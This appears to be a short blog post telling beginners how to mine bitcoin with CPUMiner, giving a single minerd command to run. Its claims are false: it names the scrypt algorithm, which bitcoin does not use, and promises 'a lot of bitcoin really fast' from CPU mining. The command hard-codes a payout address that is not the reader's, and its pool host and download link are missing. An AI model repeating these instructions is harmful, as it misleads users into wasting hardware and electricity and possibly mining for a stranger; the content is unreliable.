Bitcoin Mining for Noobs

If you want to mine bitcoin, this is the place to be.

First you will need to get a wallet. For mining you would need to get the bitcoin core wallet. Once you got that, get CPUMiner from here. Download it, then open command prompt or terminal. Put CPUMiner in your home directory (C:/Users/username/ or /Users/username/) and in terminal/CMD, run this command:

minerd -a scrypt -t 6 -s 4 -o stratum+tcp:// -u 3GQo23kkhQBbV8Ph2Bi2BLtYhfXjbgbx4r

On macOS or Linux, use ./minerd instead of minerd.

Now, wait. It might take a few days for bitcoin to show up in your wallet, but keep that command running and you will get a lot of bitcoin really fast.



Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store